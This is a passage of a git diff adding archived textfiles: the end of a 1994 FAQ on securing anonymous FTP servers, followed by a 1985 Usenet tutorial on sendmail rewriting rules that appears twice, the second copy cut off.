~ftp/.rhosts ~ftp/.forward + chmod 400 ~ftp/.rhosts ~ftp/.forward + +ie. make these files zero-length and owned by root. + +Due to the last /bin/mail bugs in SunOS: + + touch /usr/spool/mail/ftp; chmod 400 /usr/spool/mail/ftp + +Consider an email-alias for the ftp-admin(s) to provide an email-address for +problems-reports. + +If you are mounting some disks from other machines (or even your own) to the +~ftp hierarchy, mount it read-only. The correct entry for the /etc/fstab (on +the host with ftpd) is something like: + +other:/u1/linux /home/ftp/pub/linux nfs ro,noquota,nosuid,intr,bg 1 0 + +This mounts under /home/ftp/pub/linux the disk from host 'other' with no +quota, no 'suid' programs (just in case), interruptible (in case 'other' +goes down) and 'bg' - so if 'other' is down when you reboot it will not stop +you trying to mount /home/ftp/pub/linux all over again. + + + +Part 2 - Setting up a chrooted Secure Anonymous ftp server. + +This part was contributed by Marcus J Ranum + +Steps +----- + +1) Build a statically linked version of ftpd and put it in ~ftp/bin. + Make sure it's owned by root. + +2) Build a statically linked version of /bin/ls if you'll need one. + Put it in ~ftp/bin. If you are on a Sun, and need to build + one, there's a ported version of the BSD net2 ls command + for SunOs on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z + Make sure it's owned by root. + +3) Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT + +4) Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would + normally, EXCEPT make 'ftp's home directory '/' -- make sure + they are owned by root. + +5) Write a wrapper to kick ftpd off and install it in /etc/inetd.conf + The wrapper should look something like: (assuming ~ftp = /var/ftp) + +main() +{ + if(chdir("/var/ftp")) { + perror("chdir /var/ftp"); + exit(1); + } + if(chroot("/var/ftp")) { + perror("chroot /var/ftp"); + exit(1); + } + /* optional: seteuid(FTPUID); */ + execl("/bin/ftpd","ftpd","-l",(char *)0); + perror("exec /bin/ftpd"); + exit(1); +} + +Options: + You can use 'netacl' from the toolkit or tcp_wrappers to achieve + the same effect. + + We use 'netacl' to switch so that a few machines that connect to + the FTP service *don't* get chrooted first. This makes transferring + files a bit less painful. + You may also wish to take your ftpd sources and find all the places + where it calls seteuid() and remove them, then have the wrapper do + a setuid(ftp) right before the exec. This means that if someone + knows a hole that makes them "root" they still won't be. Relax and + imagine how frustrated they will be. + + If you're hacking ftpd sources, I suggest you turn off a bunch of + the options in ftpcmd.y by unsetting the "implemented" flag in + ftpcmd.y. This is only practical if your FTP area is read-only. + +6) As usual, make a pass through the FTP area and make sure that the files + are in correct modes and that there's nothing else in there that + can be executed. + +7) Note, now, that your FTP area's /etc/passwd is totally separated from + your real /etc/passwd. This has advantages and disadvantages. + +8) Some stuff may break, like syslog, since there is no /dev/log. Either + build a version of ftpd with a UDP-based syslog() routine or + run a second syslogd based on the BSD Net2 code, that maintains + a unix-domain socket named ~ftp/dev/log with the -p flag. + +REMEMBER: + If there is a hole in your ftpd that lets someone get "root" + access they can do you some damage even chrooted. It's just + lots harder. If you're willing to hack some code, making the + ftpd run without permissions is a really good thing. The + correct operation of your hacked ftpd can be verified by + connecting to it and (while it's still at the user prompt) + do a ps-axu and verify that it's not running as root. + + + +Part 3 - OS Specific needed information and suggestions. + + +Older SVR2 and SVR3 system, RTU 6.0 (Masscomp, now Concurrent Real Time UNIX), +AT&T 3B1 and 3B2 machines - May need dev/tcp: + +[dev/tcp] + +These ftpd implementations may require a ~ftp/dev/tcp in order for anonymous +ftp to work. + +You have to create a character special device with the appropriate major and +minor device numbers. The appropriate major and minor numbers of ~ftp/dev/tcp +are what the major and minor numbers of /dev/tcp are. + +The ~ftp/dev is a directory and ~ftp/dev/tcp is a character special device. +Make them owned and grouped by root. Permissions for ~ftp/dev is root +read/write/exec and other & group read and exec. The permissions for +~ftp/dev/tcp is root read/write, other & group read. + + + +HPUX + +[Logging] If you're using HP's native ftpd, the line in /etc/inetd.conf +should execute ftpd -l, which does extra logging. + + +SunOS + +[Libraries] To set up SunOS to use its shared dynamic libraries, follow these +steps: + +1) Create the directory ~ftp/usr. This directory is owned by root with +permissions 555. + +2) Create the directory ~ftp/usr/lib. This directory is owned by root with +permissions 555. + +3) Copy the runtime loader ld.so into ~ftp/usr/lib for use by ls. ld.so is +owned by root with permissions 555. + +4) Copy the latest version of the shared C library, libc.so.* into +~ftp/usr/lib for use by ls. + +libc.so.* is owned by root with permissions 555. + +***4.1.2(or above) users: you also need to copy /usr/lib/libdl.so.* to +~ftp/lib. + +5) Create the directory ~ftp/dev. This directory is owned by root with +permissions 111. + +6) ~ftp/dev/zero is needed by the runtime loader. Move into the directory +~ftp/dev and create it with the command: + + mknod zero c 3 12 + +chown ~ftp/dev/zero to root. Make sure it's readable. + +***For novices: WARNING!! Don't try to copy /dev/zero to ~ftp/dev/zero!! +This is an endless file of zeroes and it will completely fill your filesystem! + +7) If you want to have the local time showing when people connect, create the +directory ~ftp/usr/share/lib/zoneinfo and copy +/usr/share/lib/zoneinfo/localtime + +8) If you are bothered by the need for copying your libraries so that you can +use Sun's 'ls', which is dynamically linked, you can try to get a statically +linked copy of 'ls' instead. The CD-ROM that contains Sun's OS has a +statically-linked version of ls. In this case, you can dispense with steps +#6-8. + +Statically linked versions may be available from the following sources: + + If you want a statically linked "ls" get the GNU fileutils off a +archive site near you and statically link it. + +[Logging] Sun's standard ftpd logs *all* password information. To correct it, +install patch: + +101640-03 SunOS 4.1.3: in.ftpd logs password info when -d option is +used. + +In /etc/inetd.conf find the line that starts with "ftp". At the +end of that line, it should read "in.ftpd". Change that to "in.ftpd -dl". +In /etc/syslog.conf, add a line that looks like: + +daemon.* /var/adm/daemonlog + + +Note that the whitespace between the two columns must include at least one +TAB character, not just spaces, or it won't work. Of course your log file +could be anything you want. Then, create the logfile (touch +/var/adm/daemonlog should do). Finally, restart inetd and syslogd, either +individually, or by rebooting the system. You should be good to go. If you +do not install the patch, make sure the log file is owned by root and mode +600, as the ftp daemon will log *everything*, including users' passwords. + + + + + +Part 4 - Where to get other FTP daemons + +Wuarchive FTP 2.4- A secure FTP daemon that allows improved access-control, +logging, pre-login banners, and is very configurable: + Can be ftp'd from ftp.uu.net in "/networking/ftp/wuarchive-ftpd" +directory. Be certain to verify the checksum information to confirm that you +have retrieved a valid copy. [Warning: Older versions of Wu-FTP are extremely +insecure and in some cases have been trojaned.] + + BSD SVR4 + File Checksum Checksum MD5 Digital Signature + ----------------- -------- --------- -------------------------------- + wu-ftpd-2.4.tar.Z 38213 181 20337 362 cdcb237b71082fa23706429134d8c32e + patch_2.3-2.4.Z 09291 8 51092 16 5558a04d9da7cdb1113b158aff89be8f + + For DECWRL ftpd, sites can obtain version 5.93 via anonymous FTP + from gatekeeper.dec.com in the "/pub/misc/vixie" directory. + + BSD SVR4 + File Checksum Checksum MD5 Digital Signature + ----------------- -------- --------- -------------------------------- + ftpd.tar.gz 38443 60 1710 119 ae624eb607b4ee90e318b857e6573500 + + For BSDI systems, patch 005 should be applied to version 1.1 of + the BSD/386 software. You can obtain the patch file via + anonymous FTP from ftp.bsdi.com in the "/bsdi/patches-1.1" + directory. + + BSD SVR4 + File Checksum Checksum MD5 Digital Signature + ----------------- -------- --------- -------------------------------- + BU110-005 35337 272 54935 543 1f454d4d9d3e1397d1eff0432bd383cf + + +Public Domain Sources: + ftp.uu.net ~ftp/systems/unix/bsd-sources/libexec/ftpd + gatekeeper.dec.com ~ftp/pub/DEC/gwtools/ftpd.tar.Z + + +Part 5 - Archie + +Searches FTP sites for programs. Login into these sites as archie +or use client software for faster access. To get your own anonymous +site added to Archie's search list, e-mail archie-updates@bunyip.com. + + archie.ac.il 132.65.20.254 (Israel server) + archie.ans.net 147.225.1.10 (ANS server, NY (USA)) + archie.au 139.130.4.6 (Australian Server) + archie.doc.ic.ac.uk 146.169.11.3 (United Kingdom Server) + archie.edvz.uni-linz.ac.at 140.78.3.8 (Austrian Server) + archie.funet.fi 128.214.6.102 (Finnish Server) + archie.internic.net 198.49.45.10 (AT&T server, NY (USA)) + archie.kr 128.134.1.1 (Korean Server) + archie.kuis.kyoto-u.ac.jp 130.54.20.1 (Japanese Server) + archie.luth.se 130.240.18.4 (Swedish Server) + archie.ncu.edu.tw 140.115.19.24 (Taiwanese server) + archie.nz 130.195.9.4 (New Zealand server) + archie.rediris.es 130.206.1.2 (Spanish Server) + archie.rutgers.edu 128.6.18.15 (Rutgers University (USA)) + archie.sogang.ac.kr 163.239.1.11 (Korean Server) + archie.sura.net 128.167.254.195 (SURAnet server MD (USA)) + archie.sura.net(1526) 128.167.254.195 (SURAnet alt. MD (USA)) + archie.switch.ch 130.59.1.40 (Swiss Server) + archie.th-darmstadt.de 130.83.22.60 (German Server) + archie.unipi.it 131.114.21.10 (Italian Server) + archie.univie.ac.at 131.130.1.23 (Austrian Server) + archie.unl.edu 129.93.1.14 (U. of Nebraska, Lincoln (USA)) + archie.uqam.ca 132.208.250.10 (Canadian Server) + archie.wide.ad.jp 133.4.3.6 (Japanese Server) + + + +Part 6 - Acknowledgements + +Thanks to the following people for suggestions that help shape this FAQ: + +Tomasz Surmacz (tsurmacz@asic.ict.pwr.wroc.pl) +Wolfgang Ley (Ley@rz.tu-clausthal.de) +Russel Street (russells@ccu1.auckland.ac.nz) +Gary Mills (mills@CC.UManitoba.CA) +Morten Welinder (terra@diku.dk) +Nick Christenson (npc@minotaur.jpl.nasa.gov) +Mark Hanning-Lee (markhl@romoe.caltech.edu) +Marcus J Ranum + + +Copyright + +This paper is Copyright (c) 1994 + by Christopher Klaus of Internet Security Systems, Inc. + + Permission is hereby granted to give away free copies. You may +distribute, transfer, or spread this paper. You may not pretend that you +wrote it. This copyright notice must be maintained in any copy made. + + +Disclaimer + + The information within this paper may change without notice. Use of +this information constitutes acceptance for use in an AS IS condition. +There are NO warranties with regard to this information. In no event shall +the author be liable for any damages whatsoever arising out of or in +connection with the use or spread of this information. Any use of this +information is at the user's own risk. + + + +Address of Author + + Please send suggestions, updates, and comments to: + + Christopher Klaus + of Internet Security Systems, Inc. + +-- +Christopher William Klaus +Internet Security Systems, Inc. +2209 Summit Place Drive, +Atlanta,GA 30350-2430. (404)998-5871. + diff --git a/textfiles.com/internet/sendmail b/textfiles.com/internet/sendmail new file mode 100644 index 00000000..6cc2724c --- /dev/null +++ b/textfiles.com/internet/sendmail @@ -0,0 +1,365 @@ +From: Eliot Lear + +The following was written by Dr. Charles Hedrick of Rutgers University +sometime in 1985. Please read it with the understanding that rule +numbers are nothing more than function names. For further reference, +I suggest the Sun Tutorial on Sendmail in their manuals. +-eliot + +Command: followup +Newsgroups: net.unix-wizards,net.mail +To: steve@jplgodo.UUCP +Subject: a brief tutorial on sendmail rules +Distribution: +References: <902@rlgvax.UUCP> <545@jplgodo.UUCP> + +A previous message suggested using "sendmail -bt" to see how sendmail +is going to process an address. This is indeed a handy command for +testing how an address will be processed. However the instructions +given were not quite right. To see how sendmail is going to deliver +mail to a given address, a reasonable thing to type is + sendmail -bt + 0,4 address +Even this isn't quite right, but with "normal" rule sets it should work. + +Because there is so much confusion about sendmail rules, the rest of +this message contains a brief tutorial. My own opinion of sendmail is +that it is quite a good piece of work. Many people have complained +about the difficulty of understanding sendmail rule sets. However I +have also worked with mailers that code address processing directly +into the program. I much prefer sendmail. The real problem is not +with sendmail, but with the rules. The rules normally shipped from +Berkeley have lots of code that does strange Berkeley-specific things, +and they are not commented. Also, typical complex rule sets are +trying to handle lots of things, forwarding mail among several +different mail systems with incompatible addressing conventions. A +rule set to handle just old-style (non-domain) UUCP mail would be very +simple and easy to understand. But real rule sets are not doing +simple things, so they are not simple. + +For those not familiar with sendmail, -bt invokes the rule tester. It +lets you type a set of rule numbers and an address, and then shows you +what the rules will do to that address. In addition, rule test mode +automatically applies rule 3 before whatever rule you ask it to apply. +As we will see shortly, this is a reasonable thing to do. + +Before describing the rule sets, let me define two terms: "header" and +"envelope". Header refers to the lines at the beginning of the +message, starting with "from:", "to:", "subject:", etc. Sendmail does +process these lines. E.g. with uucp mail it will add its own host +name at the beginning of the from line, so that the final recipient +stands some change of replying to the message. However sendmail +normally does not depend upon the from and to lines to perform its +actual delivery. It has more direct knowledge, passed on to it from +the program that generated the mail, or if it came from another site, +the mailer at that site. This information is referred to as the +"envelope", since it is like the addresses on the outside of an +envelope. For Arpanet mail, the envelope is passed to the next site +by the MAIL FROM: and RCPT TO: commands. For UUCP mail, it is passed +on as arguments to the remote rmail command. To see why there have to +be separate addresses "on the envelope", consider what happens when +you send mail to "john@vax, mary@sun". Two copies of the message will +be dispatched, one to vax and the other to sun. The "to: " line in +the headers will show both addresses. However the envelope will show +only the right address that we want this copy to go to. The copy sent +to vax will show "john@vax" and the copy sent to sun will show +"mary@sun". If sendmail had to look at the "to: " line, it would +never know which of the addresses shown there it was responsible for +handling. + +Anyway, here is what the rules do: + +3: always done first. This turns addresses from their normal textual +form into a form that the rest of the rules understand. In most +cases, all it does it put < > around the name of the host that is next +in line. Thus foo@bar turns into foo<@bar>. However it also does a +few transformations. E.g. it turns foo!bar!user into +bar!user<@foo.UUCP>. Since sendmail accepts either ! syntax or +@....UUCP syntax, rule 3 standardizes on @ syntax. It also does a few +other minor things. But you won't be far off if you just think of it +as adding < > around the host name. + +4: always done last. This turns addresses from internal form back +into external form. It removes the < > around the host name, and +turns foo@bar.UUCP back into bar!foo. Again, there are one or two +other minor things, but you won't be too far off if you think of 4 as +just removing the < > around the host name. + +0: This is the rule that handles the destination address on the +envelope. It is in some sense the primary rule. It returns a triple: +protocol, host, user. The protocol is usually one of local, TCP, or +UUCP. At the moment, it figures this out syntactically. In our rule +set, hosts ending in .UUCP are handled by UUCP, the current host is +local, and everything else is TCP. As domains are integrated into +UUCP, obviously this rule is going to change. This rule does very +little other than simply look at the format of the host name, though +as usual a few other details are involved (e.g. it removes the local +host. So myhost!foo!bar will be sent directly to foo). + +1 and 2 are protocol-independent transformations used for sender and +recipient lines in the header (i.e. from: and to: lines). In our +rule sets, they don't do anything. + +Each protocol has its own rules to use for sender and recipient lines +in the header. E.g. UUCP rules might add the local host name to the +beginning of the from line and remove it from the to line. In our +rule set, the complexities in these rules are primarily caused by +forwarding between UUCP and TCP. The line that defines the mailer for +a protocol lists the rule to use for source and recipient, in the S= +and R=. + +Finally, here is the exact sequence in which these rules are used. +For example, the first line means that the destination specified in +the envelope is processed first by rule 3, then rule 0, then rule 4. + +envelope recipient: 3,0,4 [actually rule 4 is applied only to the + user name portion of what rule 0 returns] +envelope sender: 3,1,4 +header recipient: 3,2,xx,4 [xx is the rule number specified in R=] +header sender: 3,1,xx,4 [xx is the rule number specified in S=] + +I have the impression that the sender from the envelope (the +return-path) may actually get processed twice, once by 3,1,4 and the +second time by 3,1,xx,4. However I'm not sure about that. + +Now for the format of the rules themselves. I'm just going to show +some examples, since sendmail comes with a reference manual, which you +can refer to. However these examples are probably enough to let you +understand any set of rules that makes sense in the first place (which +the normal rules do not). This example is from our UUCP definition. +It a simplified version of the set of rules used to process the sender +specification. As such, the major thing it has to do is to add our +host name to the beginning, so that the guy at the end will know that +the mail went through us. + +S13 +R$+<@$-.UUCP> $2!$1 u@host.UUCP => host!u +R$=U!$+ $2 strip local name +R$+ $:$U!$1 stick on our host name + +Briefly, the first rule turns the address from the form foo<@bar.UUCP> +back into bar!foo. The second rule removes our local host name, if +it happens to be there already, so we don't get it twice. The third +rule adds our host name to the beginning. + +S13 says that this is the beginning of a new rule set, number 13. + +R$+<@$-.UUCP> $2!$1 u@host.UUCP => host!u + +R says that this is a rule. The thing immediately after it, +$+<@$-.UUCP> is a pattern. If this pattern matches the address, then +the rule "triggers". If the rule triggers, the address is replaced +with the "right hand side", i.e. what is after the tab(s). In this +rule, the right hand sie is $2!$1. The thing after the next tab(s) is +a comment. This rule is used in processing UUCP addresses. As noted +above, by the time we get to it, rule 3 has already been applied. So +if we had a UUCP address of the form host1!host2!user, it would now be +in the form host2!user<@host1.UUCP>. This does match the pattern: + + $+ <@$- .UUCP> + host2!user<@host1.UUCP> + +$+ and $- are "wildcards" that match anything. $- will match exactly +one word, while $+ will match any number. (By the way, with the +increasing use of domains, this production should probably use +$+.UUCP, not $-.UUCP.) Since the pattern matches, we replace this +with the "right hand side" of the rule, $2!$1. $ followed by a digit +means the Nth thing matched by a wildcard. In this case there were +two wildcards, so + $1 = host2!user + $2 = host1 +The final result is + host1!host2!user +As you can see, we have simply turned UUCP addresses from the format +produced by rule 3 back into normal ! format. + +The second rule is + +R$=U!$+ $2 strip local name + +This is needed because there are situations in which our host name +ends up on the beginning of the recipient address. Since we are +about to add our host name, we don't want it to be there twice. +So if it was there before, we remove it. $= is used to see if +something is a member of a specified "class". U happens to be a list +of our UUCP host name and any nicknames. So $=U!$+ matches +any address that begins with our host name or nickname, then !, then +anything else. Suppose we had topaz!host1!host2!user. The +match would be + + $=U !$+ + topaz!host1!host2!user + +The result of the match is that + + $1 = topaz + $2 = host1!host2!user + +Since the right hand side of this rule is simply "$2", the result is + + host1!host2!user + +I.e. we have removed the topaz from the beginning. By the way, the +class U used by the rule would have been defined earlier in the file +by the statement + +CUtopaz ru-topaz + +C defines a class. U is the name of the class. The rest of the +line is the list of things that will be in the class. + +Finally we have the rule + +R$+ $:$U!$1 stick on our host name + +The $+ matches anything. In this case the name is host1!host2!user, so the +result of the match is + + $1 = host1!host2!user + +The result looks slightly obscure. $: is a tag that says to do this +only once. The problem is that this rule always applies, since the +pattern matches anything. Normally, rules are applied over and +over, as long as they apply. In this case, the result would be +an infinite loop. Putting $: at the beginning says to do it only +once. $U says to use the value of the macro U. Earlier in the +file we defined U as our UUCP host name, with a definition + +DUtopaz + +Note that there can be a class and a macro with the same name. +$=U tests whether something is in the class U. $U is replaced +by the value of the macro U. + +So the final value of this rule, $:$U!$1, is + + topaz!host1!host2!user + +So this rule has managed to add our host name to the beginning, as it +was supposed to. Since there are no further rules in the set (the +next line is the end of file or the beginning of a new rule set), +this value is returned. + +There are several more magic things that can appear in a pattern. +The most important are: + +$* - this is another wild card. It is similar to $+, but $+ matches +anything, whereas $* matches both anything and nothing. I.e. $+ +matches 1 or more tokens and $* matches 0 or more tokens. So here +is a list of the wildcards I have mentioned: + + $* 0 or more + $+ 1 or more + $- exactly 1 + $=x any member of class x + +A typical example of $* is a production where we aren't sure whether +the user name is before or after the host name: + +R$*<@$+.UUCP>$* $@$1<@$2.UUCP>$3 + +This production would test for the host name ending in .UUCP, and +return immediately. $@ is a flag you haven't seen yet. It is simply +a return statement. It causes the right hand side of this rule to be +returned as the final value of this rule set. + +The other magic thing I will mention is $>. This is a subroutine +call. Here is an example taken from rule set 24, which is used to +process recipients in TCP mail. Its purpose is to handle the +situation where we might have an address like topaz!user@red. (Our +host name is topaz. Red is a local host that we talk to via TCP.) +I.e. someone is asking us to relay mail to red. Rule 3 will have +turned this into user@red<@topaz.UUCP>. What we want to do is +get rid of the topaz.UUCP and treat red as the host. (Rule set 0 +would do this for the recipient on the envelope. This rule is +used for the to: field in the header.) Here is the rule. + +R$+<@$=U.UUCP> $@$>9$1 in case local!a@b + +The pattern matches our example, as follows: + + $+ <@$=U .UUCP> + user@red<@topaz.UUCP> + +Recall that $+ matches anything and $=U tests whether something is our +UUCP host name or one of our nicknames. The result of the match is + + $1 = user@red + $2 = topaz + +The right hand side is $@$>9$1. The $@ is the tag saying to stop the +rule set here and return this value. $>9 is a subroutine call. It +says to take the right hand side, pass it to rule set 9, and then +use the value of rule set 9. The actual right hand side is simply +$1, which in this case is user@red. Here is rule set 9: + +S9 +R$*<$*>$* $1$2$3 defocus +R$+ $:$>3$1 make canonical +R$+ $@$>24$1 and do 24 again + +The first rule simply removes < >. It is sort of a quick and dirty +version of rule 4. In fact we have no < > left, since we have removed +the <@topaz.UUCP>. So this rule does not trigger. (Now that I think +about it, I suspect it is probably never going to trigger, and so is +not needed.) + +The next rule is a simple subroutine call. It matches anything ($+ +matches any 1 or more token). The right hand side is $:$>3$1 The $: +says to do it only once. Since the rule matches anything, you need +this, or you will have an infinite loop. The $>3 says to call rule 3 +as a subroutine. The $1 is the actual right hand side. Since the +left hand side matched the whole address, what this rule does is +simply call rule set 3 on the whole address. Recall that rule set 3 +basically locates the host name and puts < > around it. So in this +case the result is user<@red>. As you can see, it was not enough to +remove <@topaz.UUCP>. That leaves us with no host name. We have to +call rule 3 to find the current host name and put < > around it. + +The last rule is really just a goto statement. The pattern is $+, +which matches anything, so it always triggers. The right hand side is +$@$>24$1. The $@ is the return tag. It says to stop this rule set +and return that value. $>24 says to call rule set 24. The actual +right hand side is $1, so we call rule set 24 with the whole address. +If you recall, this ruleset (9) was called from the middle of 24 when +we found user@red<@topaz.UUCP>. So what we have done is to change +this into user<@red> and say to start rule set 24 over again. + +I hope you have found this exposition useful. As a final convenience, +here is a "reference card" for reading rule sets. Note that this +contains only operators used by the rules. There are plenty of +other facilities used in the configuration section which I am +not documenting here. (I'd love to see someone produce a complete +reference card.) + +wildcards: + $* 0 or more tokens + $+ 1 or more tokens + $- exactly one token + $=x member of class x (x must be a letter, lower/upper case distinct) + $~x not a member of class x + +macro values (usable in pattern or on right hand side) + $x value of macro x (x must be a letter, lower/upper case distinct) + At least on the Pyramid, $x is replaced by the macro's value + when the sendmail.cf file is being read in. + +on the right hand side: + $n string matched by the Nth wildcard + $>n call rule set N as a subroutine + $@ return + $: only do this rule once + +in rule 0, defining the return value + $# protocol + $@ host + $: user + +Rutgers extensions, usable only on right hand side + $%n take the string matched by the Nth wildcard, look it up in + /etc/hosts, and if found use the primary host name + $&x use the current value of macro x. x must be a letter. + upper and lower case are treated as distinct. + + + \ No newline at end of file diff --git a/textfiles.com/internet/sendmail.faq b/textfiles.com/internet/sendmail.faq new file mode 100644 index 00000000..6e791fff --- /dev/null +++ b/textfiles.com/internet/sendmail.faq @@ -0,0 +1,364 @@ +From: Eliot Lear + +The following was written by Dr. Charles Hedrick of Rutgers University +sometime in 1985. Please read it with the understanding that rule +numbers are nothing more than function names. For further reference, +I suggest the Sun Tutorial on Sendmail in their manuals. +-eliot + +Command: followup +Newsgroups: net.unix-wizards,net.mail +To: steve@jplgodo.UUCP +Subject: a brief tutorial on sendmail rules +Distribution: +References: <902@rlgvax.UUCP> <545@jplgodo.UUCP> + +A previous message suggested using "sendmail -bt" to see how sendmail +is going to process an address. This is indeed a handy command for +testing how an address will be processed. However the instructions +given were not quite right. To see how sendmail is going to deliver +mail to a given address, a reasonable thing to type is + sendmail -bt + 0,4 address +Even this isn't quite right, but with "normal" rule sets it should work. + +Because there is so much confusion about sendmail rules, the rest of +this message contains a brief tutorial. My own opinion of sendmail is +that it is quite a good piece of work. Many people have complained +about the difficulty of understanding sendmail rule sets. However I +have also worked with mailers that code address processing directly +into the program. I much prefer sendmail. The real problem is not +with sendmail, but with the rules. The rules normally shipped from +Berkeley have lots of code that does strange Berkeley-specific things, +and they are not commented. Also, typical complex rule sets are +trying to handle lots of things, forwarding mail among several +different mail systems with incompatible addressing conventions. A +rule set to handle just old-style (non-domain) UUCP mail would be very +simple and easy to understand. But real rule sets are not doing +simple things, so they are not simple. + +For those not familiar with sendmail, -bt invokes the rule tester. It +lets you type a set of rule numbers and an address, and then shows you +what the rules will do to that address. In addition, rule test mode +automatically applies rule 3 before whatever rule you ask it to apply. +As we will see shortly, this is a reasonable thing to do. + +Before describing the rule sets, let me define two terms: "header" and +"envelope". Header refers to the lines at the beginning of the +message, starting with "from:", "to:", "subject:", etc. Sendmail does +process these lines. E.g. with uucp mail it will add its own host +name at the beginning of the from line, so that the final recipient +stands some change of replying to the message. However sendmail +normally does not depend upon the from and to lines to perform its +actual delivery. It has more direct knowledge, passed on to it from +the program that generated the mail, or if it came from another site, +the mailer at that site. This information is referred to as the +"envelope", since it is like the addresses on the outside of an +envelope. For Arpanet mail, the envelope is passed to the next site +by the MAIL FROM: and RCPT TO: commands. For UUCP mail, it is passed +on as arguments to the remote rmail command. To see why there have to +be separate addresses "on the envelope", consider what happens when +you send mail to "john@vax, mary@sun". Two copies of the message will +be dispatched, one to vax and the other to sun. The "to: " line in +the headers will show both addresses. However the envelope will show +only the right address that we want this copy to go to. The copy sent +to vax will show "john@vax" and the copy sent to sun will show +"mary@sun". If sendmail had to look at the "to: " line, it would +never know which of the addresses shown there it was responsible for +handling. + +Anyway, here is what the rules do: + +3: always done first. This turns addresses from their normal textual +form into a form that the rest of the rules understand. In most +cases, all it does it put < > around the name of the host that is next +in line. Thus foo@bar turns into foo<@bar>. However it also does a +few transformations. E.g. it turns foo!bar!user into +bar!user<@foo.UUCP>. Since sendmail accepts either ! syntax or +@....UUCP syntax, rule 3 standardizes on @ syntax. It also does a few +other minor things. But you won't be far off if you just think of it +as adding < > around the host name. + +4: always done last. This turns addresses from internal form back +into external form. It removes the < > around the host name, and +turns foo@bar.UUCP back into bar!foo. Again, there are one or two +other minor things, but you won't be too far off if you think of 4 as +just removing the < > around the host name. + +0: This is the rule that handles the destination address on the +envelope. It is in some sense the primary rule. It returns a triple: +protocol, host, user. The protocol is usually one of local, TCP, or +UUCP. At the moment, it figures this out syntactically. In our rule +set, hosts ending in .UUCP are handled by UUCP, the current host is +local, and everything else is TCP. As domains are integrated into +UUCP, obviously this rule is going to change. This rule does very +little other than simply look at the format of the host name, though +as usual a few other details are involved (e.g. it removes the local +host. So myhost!foo!bar will be sent directly to foo). + +1 and 2 are protocol-independent transformations used for sender and +recipient lines in the header (i.e. from: and to: lines). In our +rule sets, they don't do anything. + +Each protocol has its own rules to use for sender and recipient lines +in the header. E.g. UUCP rules might add the local host name to the +beginning of the from line and remove it from the to line. In our +rule set, the complexities in these rules are primarily caused by +forwarding between UUCP and TCP. The line that defines the mailer for +a protocol lists the rule to use for source and recipient, in the S= +and R=. + +Finally, here is the exact sequence in which these rules are used. +For example, the first line means that the destination specified in +the envelope is processed first by rule 3, then rule 0, then rule 4. + +envelope recipient: 3,0,4 [actually rule 4 is applied only to the + user name portion of what rule 0 returns] +envelope sender: 3,1,4 +header recipient: 3,2,xx,4 [xx is the rule number specified in R=] +header sender: 3,1,xx,4 [xx is the rule number specified in S=] + +I have the impression that the sender from the envelope (the +return-path) may actually get processed twice, once by 3,1,4 and the +second time by 3,1,xx,4. However I'm not sure about that. + +Now for the format of the rules themselves. I'm just going to show +some examples, since sendmail comes with a reference manual, which you +can refer to. However these examples are probably enough to let you +understand any set of rules that makes sense in the first place (which +the normal rules do not). This example is from our UUCP definition. +It a simplified version of the set of rules used to process the sender +specification. As such, the major thing it has to do is to add our +host name to the beginning, so that the guy at the end will know that +the mail went through us. + +S13 +R$+<@$-.UUCP> $2!$1 u@host.UUCP => host!u +R$=U!$+ $2 strip local name +R$+ $:$U!$1 stick on our host name + +Briefly, the first rule turns the address from the form foo<@bar.UUCP> +back into bar!foo. The second rule removes our local host name, if +it happens to be there already, so we don't get it twice. The third +rule adds our host name to the beginning. + +S13 says that this is the beginning of a new rule set, number 13. + +R$+<@$-.UUCP> $2!$1 u@host.UUCP => host!u + +R says that this is a rule. The thing immediately after it, +$+<@$-.UUCP> is a pattern. If this pattern matches the address, then +the rule "triggers". If the rule triggers, the address is replaced +with the "right hand side", i.e. what is after the tab(s). In this +rule, the right hand sie is $2!$1. The thing after the next tab(s) is +a comment. This rule is used in processing UUCP addresses. As noted +above, by the time we get to it, rule 3 has already been applied. So +if we had a UUCP address of the form host1!host2!user, it would now be +in the form host2!user<@host1.UUCP>. This does match the pattern: + + $+ <@$- .UUCP> + host2!user<@host1.UUCP> + +$+ and $- are "wildcards" that match anything. $- will match exactly +one word, while $+ will match any number. (By the way, with the +increasing use of domains, this production should probably use +$+.UUCP, not $-.UUCP.) Since the pattern matches, we replace this +with the "right hand side" of the rule, $2!$1. $ followed by a digit +means the Nth thing matched by a wildcard. In this case there were +two wildcards, so + $1 = host2!user + $2 = host1 +The final result is + host1!host2!user +As you can see, we have simply turned UUCP addresses from the format +produced by rule 3 back into normal ! format. + +The second rule is + +R$=U!$+ $2 strip local name + +This is needed because there are situations in which our host name +ends up on the beginning of the recipient address. Since we are +about to add our host name, we don't want it to be there twice. +So if it was there before, we remove it. $= is used to see if +something is a member of a specified "class". U happens to be a list +of our UUCP host name and any nicknames. So $=U!$+ matches +any address that begins with our host name or nickname, then !, then +anything else. Suppose we had topaz!host1!host2!user. The +match would be + + $=U !$+ + topaz!host1!host2!user + +The result of the match is that + + $1 = topaz + $2 = host1!host2!user + +Since the right hand side of this rule is simply "$2", the result is + + host1!host2!user + +I.e. we have removed the topaz from the beginning. By the way, the +class U used by the rule would have been defined earlier in the file +by the statement + +CUtopaz ru-topaz + +C defines a class. U is the name of the class. The rest of the +line is the list of things that will be in the class. + +Finally we have the rule + +R$+ $:$U!$1 stick on our host name + +The $+ matches anything. In this case the name is host1!host2!user, so the +result of the match is + + $1 = host1!host2!user + +The result looks slightly obscure. $: is a tag that says to do this +only once. The problem is that this rule always applies, since the +pattern matches anything. Normally, rules are applied over and +over, as long as they apply. In this case, the result would be +an infinite loop. Putting $: at the beginning says to do it only +once. $U says to use the value of the macro U. Earlier in the +file we defined U as our UUCP host name, with a definition + +DUtopaz + +Note that there can be a class and a macro with the same name. +$=U tests whether something is in the class U. $U is replaced +by the value of the macro U. + +So the final value of this rule, $:$U!$1, is + + topaz!host1!host2!user + +So this rule has managed to add our host name to the beginning, as it +was supposed to. Since there are no further rules in the set (the +next line is the end of file or the beginning of a new rule set), +this value is returned. + +There are several more magic things that can appear in a pattern. +The most important are: + +$* - this is another wild card. It is similar to $+, but $+ matches +anything, whereas $* matches both anything and nothing. I.e. $+ +matches 1 or more tokens and $* matches 0 or more tokens. So here +is a list of the wildcards I have mentioned: + + $* 0 or more + $+ 1 or more + $- exactly 1 + $=x any member of class x + +A typical example of $* is a production where we aren't sure whether +the user name is before or after the host name: + 